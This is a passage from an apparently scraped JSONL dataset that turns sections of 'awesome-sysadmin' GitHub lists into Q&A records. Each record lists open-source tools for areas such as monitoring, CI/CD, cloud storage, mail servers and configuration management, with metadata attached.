License](https://spdx.org/licenses/NLPL.html)\n- `OLDAP-2.8` - [Open LDAP Public License v2.8](https://spdx.org/licenses/OLDAP-2.8.html)\n- `QPL-1.0` - [Q Public License 1.0](https://spdx.org/licenses/QPL-1.0.html)\n- `Vim` - [Vim License](https://spdx.org/licenses/Vim.html)\n- `Zlib` - [zlib License](https://spdx.org/licenses/Zlib.html)\n\n--------------------", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584700"}
{"id": "gh_b220a62fecc7", "question": "How to: Communities / Forums", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "- [ArsTechnica OpenForum](https://arstechnica.com/civis/) - IT Forum which is attached to a large news site.\n- [Reddit](https://www.reddit.com) - Really, really large bulletin board system.\n  - [/r/Linux](https://www.reddit.com/r/linux) - News and information about Linux.\n  - [/r/LinuxQuestions](https://www.reddit.com/r/linuxquestions)\n  - [/r/SysAdmin](https://www.reddit.com/r/sysadmin/)\n- [Spiceworks Community](https://community.spiceworks.com/start) - General enterprise IT news and small articles.\n- [StackExchange Network](https://stackexchange.com/sites#technology) - Q&A communities.\n  - [Server Fault](https://serverfault.com/) - StackExchange community for system and network administrators.", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32460, "answer_score": 10, "has_code": false, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584707"}
{"id": "gh_930748095201", "question": "How to: Repositories", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "*Software package repositories.*\n\n- [AlternativeTo](https://alternativeto.net) - Find alternatives to software you know and discover new software.\n- [deb.sury.org](https://deb.sury.org/) - Repository with LAMP updated packages for Debian and Ubuntu.\n- [ElRepo](https://elrepo.org/tiki/tiki-index.php) - Community Repo for Enterprise Linux (RHEL, CentOS, etc).\n- [EPEL](https://fedoraproject.org/wiki/EPEL) - Repository for RHEL and compatibles (CentOS, Scientific Linux).\n- [IUS](https://ius.io/) - Community project that provides RPM packages for newer versions of select software for Enterprise Linux distributions.\n- [Remi](http://rpms.famillecollet.com/) - Repository with LAMP updated packages for RHEL/Centos/Fedora.\n- [Software Collections](https://www.softwarecollections.org) - Community Release of [Red Hat Software Collections](https://access.redhat.com/documentation/en/red-hat-software-collections/). Provides updated packages of Ruby, Python, etc. for CentOS/Scientific Linux 6.x.", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32460, "answer_score": 10, "has_code": false, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584713"}
{"id": "gh_3bd8d159bcc7", "question": "How to: Contributing", "question_body": "About kahun/awesome-sysadmin", "answer": "Please read [CONTRIBUTING](./CONTRIBUTING.md) if you wish to add software.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556450"}
{"id": "gh_1f0aff7643df", "question": "How to: Table of Contents", "question_body": "About kahun/awesome-sysadmin", "answer": "* [Awesome Sysadmin](#awesome-sysadmin)\n  * [Backups](#backups)\n  * [Build Automation](#build-automation)\n  * [ChatOps](#chatops)\n  * [Cloning](#cloning)\n  * [Cloud Computing](#cloud-computing)\n  * [Cloud Storage](#cloud-storage)\n  * [Code Review](#code-review)\n  * [Collaborative Software](#collaborative-software)\n  * [Configuration Management Database](#configuration-management-database)\n  * [Configuration Management](#configuration-management)\n  * [Continuous Integration & Continuous Deployment](#continuous-integration--continuous-deployment)\n  * [Control Panels](#control-panels)\n  * [Deployment Automation](#deployment-automation)\n  * [Diagramming](#diagramming)\n  * [Distributed Filesystems](#distributed-filesystems)\n  * [DNS](#dns)\n  * [Editors](#editors)\n  * [IT Asset Management](#it-asset-management)\n  * [LDAP](#ldap)\n  * [Log Management](#log-management)\n  * [Mail Servers](#mail-servers)\n  * [Messaging](#messaging)\n  * [Monitoring](#monitoring)\n  * [Metric & Metric Collection](#metric--metric-collection)\n  * [Network Configuration Management](#network-configuration-management)\n  * [Newsletter](#newsletters)\n  * [NoSQL](#nosql)\n  * [Packaging](#packaging)\n  * [Queuing](#queuing)\n  * [RDBMS](#rdbms)\n  * [Security](#security)\n  * [Service Discovery](#service-discovery)\n  * [Software Containers](#software-containers)\n  * [SSH](#ssh)\n  * [Statistics](#statistics)\n  * [Status Pages](#status-pages)\n  * [Ticketing systems](#ticketing-systems)\n  * [Troubleshooting](#troubleshooting)\n  * [Project Management](#project-management)\n  * [Version control](#version-control)\n  * [Virtualization](#virtualization)\n  * [VPN](#vpn)\n  * [Web](#web)\n  * [Webmails](#webmails)\n  * [Wikis](#wikis)\n* [Resources](#resources)\n  * [Blogs](#blogs)\n  * [Books](#books)\n  * [Newsletters](#newsletters)\n  * [Repositories](#repositories)\n  * [Websites](#websites)", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556474"}
{"id": "gh_2e6dec673537", "question": "How to: Build Automation", "question_body": "About kahun/awesome-sysadmin", "answer": "*Build automation tools.*\n\n* [Apache Ant](https://ant.apache.org/) - Automation build tool, similar to make, written in Java.\n* [Apache Maven](http://maven.apache.org/) - Build automation tool mainly for Java.\n* [GNU Make](http://www.gnu.org/software/make/) - The most popular automation build tool for many purposes.\n* [Gradle](http://gradle.org/) - Another open source build automation system.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556488"}
{"id": "gh_67e6e354e2be", "question": "How to: Cloud Computing", "question_body": "About kahun/awesome-sysadmin", "answer": "* [AppScale](http:/github.com/AppScale/appscale) - Open source cloud software with Google App Engine compatibility.\n* [Archipel](http://archipelproject.org/) - Manage and supervise virtual machines using Libvirt.\n* [CloudStack](http://cloudstack.apache.org/) - Cloud computing software for creating, managing, and deploying infrastructure cloud services.\n* [Cobbler](http://cobbler.github.io) - Cobbler is a Linux installation server that allows for rapid setup of network installation environments.\n* [Eucalyptus](https://www.eucalyptus.com/) - Open source private cloud software with AWS compatibility.\n* [Mesos](http://mesos.apache.org/) - Develop and run resource-efficient distributed systems.\n* [OpenNebula](http://opennebula.org/) - An user-driven cloud management platform for sysadmins and devops.\n* [Openshift Origin](https://www.openshift.org/) - Open source upstream of OpenShift, the next generation application hosting platform developed by Red Hat.\n* [OpenStack](https://www.openstack.org/) - Open source software for building private and public clouds.\n* [The Foreman](http://theforeman.org/) - Foreman is a complete lifecycle management tool for physical and virtual servers. FOSS.\n* [Tsuru](http://www.tsuru.io/) - Tsuru is an extensible and open source Platform as a Service software.\n* [Terraform](https://terraform.io) - Terraform allows you to practice infrastructure as code and is commonly used for AWS/GCE.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556498"}
{"id": "gh_53d4190c8302", "question": "How to: Cloud Orchestration", "question_body": "About kahun/awesome-sysadmin", "answer": "* [BOSH](http://docs.cloudfoundry.org/bosh/) -  IaaS orchestration platform originally written for deploying and managing Cloud Foundry PaaS, but also useful for general purpose distributed systems.\n* [Ansible](http://www.ansible.com) - Contains modules for controlling many types of cloud resources.\n* [Cloudify](http://cloudify.co/) -  Open source TOSCA-based cloud orchestration software platform written in Python and YAML.\n* [consul](http://www.consul.io/) - It is a tool for discovering and configuring services in your infrastructure.\n* [doozerd](https://github.com/ha/doozerd) - Doozer is a highly-available, completely consistent store for small amounts of extremely important data.\n* [etcd](https://github.com/coreos/etcd) - A highly-available key value store for shared configuration and service discovery.\n* [Juju](https://juju.ubuntu.com/) - Cloud orchestration tool which manages services as charms, YAML configuration and deployment script bundles.\n* [MCollective](http://puppetlabs.com/mcollective) - Ruby framework to manage server orchestration, developed by Puppet labs.\n* [Overcast](http://andrewchilds.github.io/overcast/) - Deploy VMs across different cloud providers, and run commands and scripts across any or all of them in parallel via SSH.\n* [Rundeck](http://rundeck.org/) - Simple orchestration tool.\n* [Salt](http://www.saltstack.com/) - Fast, scalable and flexible systems management software written in Python/ZeroMQ.\n* [serf](http://www.serfdom.io/) - Serf is a tool for cluster membership.\n* [StackStorm](http://stackstorm.com/) - Event Driven Operations and ChatOps platform for infrastructure management. Written in Python.\n* [zookeeper](http://zookeeper.apache.org/) - ZooKeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556507"}
{"id": "gh_5de1112cda40", "question": "How to: Cloud Storage", "question_body": "About kahun/awesome-sysadmin", "answer": "* [git-annex assistant](http://git-annex.branchable.com/assistant/) - A synchronised folder on each of your OSX and Linux computers, Android devices, removable drives, NAS appliances, and cloud services.\n* [nextCloud](https://nextcloud.com) - Provides access to your files via the web\n* [ownCloud](https://owncloud.org) - Provides universal access to your files via the web, your computer or your mobile devices.\n* [Seafile](http://seafile.com) - Another Open Source Cloud Storage solution.\n* [SparkleShare](http://sparkleshare.org/) - Provides cloud storage and file synchronization services. By default, it uses Git as a storage backend.\n* [Swift](http://docs.openstack.org/developer/swift/) - A highly available, distributed, eventually consistent object/blob store.\n* [Syncthing](http://syncthing.net/) - Open Source system for private, encrypted and authenticated distribution of data.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556514"}
{"id": "gh_e50c764421d3", "question": "How to: Code Review", "question_body": "About kahun/awesome-sysadmin", "answer": "*Web Based collaborative code review system.*\n\n* [Gerrit](https://code.google.com/p/gerrit/) - Based on the Git version control, it facilitates software developers to review modifications to the source code and approve or reject those changes.\n* [Phabricator](http://phabricator.org/) - Code review tool build by facebook and used by WikiMedia, FB, dropbox etc. Comes with an integrated wiki, bug tracker, VC integration and a CLI tool called arcanist.\n* [Review Board](https://www.reviewboard.org/) - Web-based collaborative code review tool.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556520"}
{"id": "gh_1d0db2a9d613", "question": "How to: Collaborative Software", "question_body": "About kahun/awesome-sysadmin", "answer": "*Collaborative software or groupware suites.*\n\n* [Citadel/UX](http://www.citadel.org/) - Collaboration suite (messaging and groupware) that is descended from the Citadel family of programs.\n* [EGroupware](http://www.egroupware.org/) - Groupware software written in PHP.\n* [Horde Groupware](http://www.horde.org/apps/groupware) - PHP based collaborative software suite that includes email, calendars, wikis, time tracking and file management.\n* [Kolab](https://www.kolab.org) - Another groupware suite.\n* [SOGo](https://www.sogo.nu/) - Collaborative software server with a focus on simplicity and scalability.\n* [Zimbra](https://www.zimbra.com/community/) - Collaborative software suite, that includes an email server and web client.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556527"}
{"id": "gh_1d5c9c6474d9", "question": "How to: Configuration Management Database", "question_body": "About kahun/awesome-sysadmin", "answer": "*Configuration management database (CMDB) software.*\n\n* [Clusto](https://github.com/clusto/clusto) - Helps you keep track of your inventory, where it is, how it's connected, and provides an abstracted interface for interacting with the elements of the infrastructure.\n* [Collins](http://tumblr.github.io/collins) - At Tumblr, it's the infrastructure source of truth and knowledge.\n* [i-doit](http://www.i-doit.org/) - Open Source IT Documentation and CMDB.\n* [iTop](http://www.combodo.com/-Overview-.html) - Complete open source, ITIL, web based service management tool.\n* [Ralph](https://github.com/allegro/ralph) - Asset management, DCIM and CMDB system for large Data Centers as well as smaller LAN networks.\n* [Sicekit](https://github.com/sicekit/sicekit) - The systems & infrastructure encyclopaedia toolkit (based on MediaWiki).", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556534"}
{"id": "gh_aa288cc03a76", "question": "How to: Configuration Management", "question_body": "About kahun/awesome-sysadmin", "answer": "*Configuration management tools.*\n\n* [Ansible](http://www.ansible.com/) -  It's written in Python and manages the nodes over SSH.\n* [CFEngine](http://cfengine.com/) - Lightweight agent system. Configuration state is specified via a declarative language.\n* [Chef](http://www.opscode.com/chef/) - It's written in Ruby and Erlang and uses a pure-Ruby DSL.\n* [mgmt](https://github.com/purpleidea/mgmt) - Next generation config management written in Go.\n* [Pallet](http://palletops.com/) - Infrastructure definition, configuration and management via a Clojure DSL.\n* [Puppet](http://puppetlabs.com/) - It's written in Ruby and uses Puppet's declarative language or a Ruby DSL.\n* [(R)?ex](https://www.rexify.org/) - It's written in Perl and use plain Perl, over SSH without agent.\n* [Salt](http://www.saltstack.com/) - It's written in Python.\n* [Slaughter](http://steve.org.uk/Software/slaughter/) - It's written in Perl.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556541"}
{"id": "gh_d2fbdf3941e9", "question": "How to: Continuous Integration & Continuous Deployment", "question_body": "About kahun/awesome-sysadmin", "answer": "*Continuous integration/deployment software.*\n\n* [Buildbot](http://buildbot.net/) - Python-based toolkit for continuous integration.\n* [Drone](https://github.com/drone/drone) - Continuous integration server built on Docker and configured using YAML files.\n* [GitLab CI](https://www.gitlab.com/gitlab-ci/) - Based off of ruby. They also provide GitLab, which manages git repositories.\n* [Go](http://www.go.cd/) - Open source continuous delivery server.\n* [Jenkins](http://jenkins-ci.org/) - An extendable open source continuous integration server.\n* [Concourse CI](https://concourse.ci/) - A pipeline-based CI system written in Go.\n* [Spinnaker](http://www.spinnaker.io/) - Open source, multi-cloud continuous delivery platform for releasing software changes.\n* [TeamCity](https://www.jetbrains.com/teamcity/) - Powerful Continuous Integration out of the box", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556548"}
{"id": "gh_cae5574b3210", "question": "How to: Control Panels", "question_body": "About kahun/awesome-sysadmin", "answer": "*Web hosting and server control panels.*\n\n* [Ajenti](http://ajenti.org/) - Control panel for Linux and BSD.\n* [Cockpit](http://cockpit-project.org/) - New multi-server web interface for Linux servers written in C.\n* [Feathur](http://feathur.com) - VPS Provisioning and Management Software.\n* [Froxlor](http://www.froxlor.org/) - Easy to use panel for Linux with Nginx and PHP-FPM support.\n* [ISPConfig](http://www.ispconfig.org) - Hosting control panel for Linux.\n* [Sentora](http://sentora.org/) - Control panel for Linux, BSD, and Windows based on ZPanel.\n* [VestaCP](http://www.vestacp.com/) - Hosting panel for Linux but with Nginx.\n* [Virtualmin](http://www.virtualmin.com/) - Control panel for Linux based on webmin.\n* [Webmin](http://www.webmin.com/) - Linux server control panel.\n* [ZPanel](http://www.zpanelcp.com/) - Control panel for Linux, BSD, and Windows.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556556"}
{"id": "gh_8f181d02b59c", "question": "How to: Deployment Automation", "question_body": "About kahun/awesome-sysadmin", "answer": "*Tools and scripts to support deployments to your servers.*\n\n* [Capistrano](http://www.capistranorb.com) - Deploy your application to any number of machines simultaneously, in sequence or as a rolling set via SSH (rake based).\n* [Fabric](http://www.fabfile.org/) - Python library and cli tool for streamlining the use of SSH for application deployment or systems administration tasks.\n* [Mina](http://nadarei.co/mina/) - Really fast deployer and server automation tool (rake based).\n* [Rocketeer](http://rocketeer.autopergamene.eu/) - PHP task runner and deployment tool.\n* [Vlad the Deployer](http://rubyhitsquad.com/Vlad_the_Deployer.html) - Deployment automation (rake based).", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556562"}
{"id": "gh_e83ecf7d9ed0", "question": "How to: Diagramming", "question_body": "About kahun/awesome-sysadmin", "answer": "*Tools to diagram networks.*\n\n* [drawthe.net](http://go.drawthe.net/) - Draws network diagrams dynamically from a text file describing the placement, layout and icons.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556568"}
{"id": "gh_5393b50dcb1a", "question": "How to: Distributed Filesystems", "question_body": "About kahun/awesome-sysadmin", "answer": "*Network distributed filesystems.*\n\n* [Ceph](http://ceph.com/) - Distributed object store and file system.\n* [DRBD](http://www.drbd.org/) - Distributed Replicated Block Device.\n* [LeoFS](http://leo-project.net) - Unstructured object/data storage and a highly available, distributed, eventually consistent storage system.\n* [GlusterFS](http://www.gluster.org/) - Scale-out network-attached storage file system.\n* [HDFS](http://hadoop.apache.org/) - Distributed, scalable, and portable file-system written in Java for the Hadoop framework.\n* [Lustre](http://lustre.opensfs.org/) -  A type of parallel distributed file system, generally used for large-scale cluster computing.\n* [MooseFS](http://www.moosefs.org/) - Fault tolerant, network distributed file system.\n* [MogileFS](http://mogilefs.org/) - Application level, network distributed file system.\n* [OpenAFS](http://www.openafs.org/) - Distributed network file system with read-only replicas and multi-OS support.\n* [TahoeLAFS](https://tahoe-lafs.org/trac/tahoe-lafs) - secure, decentralized, fault-tolerant, peer-to-peer distributed data store and distributed file system.\n* [XtreemFS](http://www.xtreemfs.org/) - XtreemFS is a fault-tolerant distributed file system for all storage needs.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556575"}
{"id": "gh_818deb1dae78", "question": "How to: IT Asset Management", "question_body": "About kahun/awesome-sysadmin", "answer": "*IT Assets Management software.*\n\n* [GLPI](http://www.glpi-project.org/spip.php?lang=en) - Information Resource-Manager with an additional Administration Interface.\n* [OCS Inventory NG](http://www.ocsinventory-ng.org/en/) - Enables users to inventory their IT assets.\n* [Netbox](https://github.com/digitalocean/netbox) - IP address management (IPAM) and data center infrastructure management (DCIM) tool.\n* [RackTables](http://racktables.org/) - Datacenter and server room asset management like document hardware assets, network addresses, space in racks, networks configuration.\n* [Ralph](https://github.com/allegro/ralph) - Asset management, DCIM and CMDB system for large Data Centers as well as smaller LAN networks.\n* [Snipe IT](http://snipeitapp.com/) - Asset & license management software.\n* [OpenDCIM](http://www.opendcim.org/) - A web based Data Center Infrastructure Management application.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556585"}
{"id": "gh_983ba330e16b", "question": "How to: Log Management", "question_body": "About kahun/awesome-sysadmin", "answer": "*Log management tools: collect, parse, visualize ...*\n\n* [Echofish](http://www.echothrust.com/projects/echofish) - A web based real-time event log aggregation, analysis, monitoring and management system.\n* [Elasticsearch](http://www.elasticsearch.org/) - A Lucene Based Document store mainly used for log indexing, storage and analysis.\n* [Fluentd](http://www.fluentd.org/) - Log Collector and Shipper.\n* [Flume](https://flume.apache.org/) - Distributed log collection and aggregation system.\n* [Graylog2](http://graylog2.org/) - Pluggable Log and Event Analysis Server with Alerting options.\n* [Heka](http://hekad.readthedocs.org/en/latest/) - Stream processing system which may be used for log aggregation.\n* [Kibana](http://www.elasticsearch.org/overview/kibana/) - Visualize logs and time-stamped data.\n* [Logstash](http://logstash.net/) - Tool for managing events and logs.\n* [Octopussy](http://www.octopussy.pm) - Log Management Solution (Visualize / Alert / Report).", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556593"}
{"id": "gh_c6c4c5421d5b", "question": "How to: Mail Servers", "question_body": "About kahun/awesome-sysadmin", "answer": "*Mail Delivery Agents (IMAP/POP3 software).*\n\n* [Courier IMAP/POP3](http://www.courier-mta.org/imap/) - Fast, scalable, enterprise IMAP and POP3 server.\n* [Cyrus IMAP/POP3](http://cyrusimap.org/) - Intended to be run on sealed servers, where normal users are not permitted to log in.\n* [Dovecot](http://www.dovecot.org/) - IMAP and POP3 server written primarily with security in mind.\n* [Qpopper](http://www.eudora.com/products/unsupported/qpopper/) - One of the oldest and most popular server implementations of POP3.\n\n*Mail Transfer Agents (SMTP servers).*\n\n* [Exim](http://www.exim.org/) - Message transfer agent (MTA) developed at the University of Cambridge.\n* [Haraka](http://haraka.github.io/) - A high-performance, pluginable SMTP server written in JavaScript.\n* [MailCatcher](http://mailcatcher.me/) - Ruby gem that deploys a simply SMTP MTA gateway that accepts all mail and displays in web interface. Useful for debugging or development.\n* [Maildrop](https://github.com/m242/maildrop) - Open Source disposable email SMTP server, also useful for development.\n* [OpenSMTPD](https://opensmtpd.org/) - Secure SMTP server implementation from the OpenBSD project.\n* [Postfix](http://www.postfix.org/) - Fast, easy to administer, and secure Sendmail replacement.\n* [Qmail](http://cr.yp.to/qmail.html) - Secure Sendmail replacement.\n* [Sendmail](http://www.sendmail.com/sm/open_source/) - Message transfer agent (MTA).\n\n*Complete solutions.*\n\n* [Mail-in-a-Box](https://mailinabox.email/) - Take back control of your email with this easy-to-deploy mail server in a box.\n* [iRedMail](http://www.iredmail.org/) - Full-featured mail server solution based on Postfix and Dovecot.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556602"}
{"id": "gh_75f8e6558855", "question": "How to: Monitoring", "question_body": "About kahun/awesome-sysadmin", "answer": "*Monitoring software.*\n\n* [Alerta](https://github.com/guardian/alerta) - Distributed, scaleable and flexible monitoring system.\n* [Canopsis](http://www.canopsis.org) - Opensource Hypervision and Data Aggregation Software\n* [Cacti](http://www.cacti.net) - Web-based network monitoring and graphing tool.\n* [Cabot](http://cabotapp.com/) - Monitoring and alerts, similar to PagerDuty.\n* [Centreon](http://www.centreon.com) - IT infrastructure and application monitoring for service performance.\n* [check_mk](http://mathias-kettner.com/check_mk.html) - Collection of extensions for Nagios.\n* [Flapjack](http://flapjack.io/) - Monitoring notification routing & event processing system.\n* [Icinga](https://www.icinga.org/) - Fork of Nagios.\n* [LibreNMS](https://github.com/librenms/librenms/) - fork of Observium.\n* [Monit](http://mmonit.com/monit/#home) - Small Open Source utility for managing and monitoring Unix systems.\n* [Munin](http://munin-monitoring.org/) - Networked resource monitoring tool.\n* [Naemon](http://www.naemon.org/) - Network monitoring tool based on the Nagios 4 core with performance enhancements and new features.\n* [Nagios](http://www.nagios.org/) - Computer system, network and infrastructure monitoring software application.\n* [Node-Bell](https://github.com/eleme/node-bell) - Real-time anomalies detection for periodic time series, metrics monitor.\n* [Observium](http://www.observium.org/) - SNMP monitoring for servers and networking devices. Runs on linux.\n* [Opsview](http://www.opsview.com/solutions/core) - Based on Nagios 4, Opsview Core is ideal for small IT and test environments.\n* [Riemann](http://riemann.io/) - Flexible and fast events processor allowing complex events/metrics analysis.\n* [Sensu](http://sensuapp.org/) - Open source monitoring framework.\n* [Sentry](https://getsentry.com/) - Application monitoring, event logging and aggregation.\n* [Serverstats](https://sourceforge.net/projects/serverstats.berlios/) - A simple tool for creating graphs using rrdtool. ([source on github](https://github.com/ddanier/serverstats))\n* [Seyren](https://github.com/scobal/seyren) - An alerting dashboard for Graphite.\n* [Shinken](http://www.shinken-monitoring.org/) - Another monitoring framework.\n* [Xymon](http://www.xymon.com/) - Network monitoring inspired by Big Brother.\n* [Zabbix](http://www.zabbix.com/) - Enterprise-class software for monitoring of networks and applications.\n* [Zenoss](http://community.zenoss.org) - Application, server, and network management platform based on Zope.\n\n*Monitoring dashboards.*\n\n* [Adagios](http://adagios.org/) - Web based Nagios configuration interface.\n* [Dash](https://github.com/afaqurk/linux-dash) - A low-overhead monitoring web dashboard for a GNU/Linux machine.\n* [Thruk](http://www.thruk.org/) - Multibackend monitoring web interface with support for Naemon, Nagios, Icinga and Shinken.\n* [Uchiwa](https://uchiwa.io) - Simple dashboard for the Sensu monitoring framework.\n\n*Monitoring distributions.*\n\n* [OMD](http://omdistro.org/) - The Open Monitoring Distribution.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556615"}
{"id": "gh_84cbfeab77fc", "question": "How to: Metric & Metric Collection", "question_body": "About kahun/awesome-sysadmin", "answer": "*Metric gathering and display software.*\n\n* [Collectd](http://collectd.org/) - System statistic collection daemon.\n* [Collectl](http://collectl.sourceforge.net/) - High precision system performance metrics collecting tool.\n* [~~dashing~~](http://dashing.io/) - __No Longer Maintained__ - Ruby gem that allows for rapid statistical dashboard development. An all HTML5 approach allows for big screen displays in data centers or conference rooms.\n* [Smashing](https://github.com/Smashing/smashing) - Ruby gem that allows for rapid statistical dashboard development. An all HTML5 approach allows for big screen displays in data centers or conference rooms. Fork of Dashing.\n* [Diamond](https://github.com/BrightcoveOS/Diamond) - Python based statistic collection daemon.\n* [Facette](http://facette.io) - Time series data visualization and graphing software written in Go.\n* [Freeboard](https://github.com/Freeboard/freeboard) - A damn-sexy front-end real-time dashboard. Transforms raw JSON into delicious UI.\n* [Ganglia](http://ganglia.sourceforge.net/) - High performance, scalable RRD based monitoring for grids and/or clusters of servers. Compatible with Graphite using a single collection process.\n* [Grafana](http://grafana.org/) - A Graphite & InfluxDB Dashboard and Graph Editor.\n* [Graphite](http://graphite.readthedocs.org/en/latest/) - Open source scalable graphing server.\n* [InfluxDB](http://influxdb.com/) - Open source distributed time series database with no external dependencies.\n* [KairosDB](https://code.google.com/p/kairosdb/) - Fast distributed scalable time series database, fork of OpenTSDB 1.x.\n* [NetData](http://my-netdata.io) - Distributed real-time performance and health monitoring.\n* [OpenTSDB](http://opentsdb.net/) - Store and server massive amounts of time series data without losing granularity.\n* [Packetbeat](http://packetbeat.com/) - Captures network traffic and displays it in a custom Kibana dashboard for easy viewing.\n* [Prometheus](http://prometheus.io/) - Service monitoring system and time series database.\n* [RRDtool](http://oss.oetiker.ch/rrdtool/) - Open source industry standard, high performance data logging and graphing system for time series data.\n* [Statsd](https://github.com/etsy/statsd/) - Application statistic listener.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556625"}
{"id": "gh_eb1a2b04217e", "question": "How to: Network Configuration Management", "question_body": "About kahun/awesome-sysadmin", "answer": "*Network configuration management tools.*\n\n* [GestióIP](http://www.gestioip.net/) - An automated web based IPv4/IPv6 IP Address Management tool.\n* [NOC Project](http://nocproject.org/) - Scalable, high-performance and open-source [OSS](http://en.wikipedia.org/wiki/Operations_support_system) system for ISP, service and content providers.\n* [Netbox](https://github.com/digitalocean/netbox) - IP address management (IPAM) and data center infrastructure management (DCIM) tool.\n* [Oxidized](https://github.com/ytti/oxidized) - A modern take on network device configuration monitoring with web interface and GIT storage.\n* [phpIPAM](http://phpipam.net/) - Open source IP address management with [PowerDNS](https://www.powerdns.com/) integration.\n* [RANCID](http://www.shrubbery.net/rancid/) - Monitors network device's configuration and maintain history of changes.\n* [rConfig](http://www.rconfig.com/) - Another network device configuration management tool.\n* [trigger](https://github.com/trigger/trigger) - Robust network automation toolkit written in Python.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556633"}
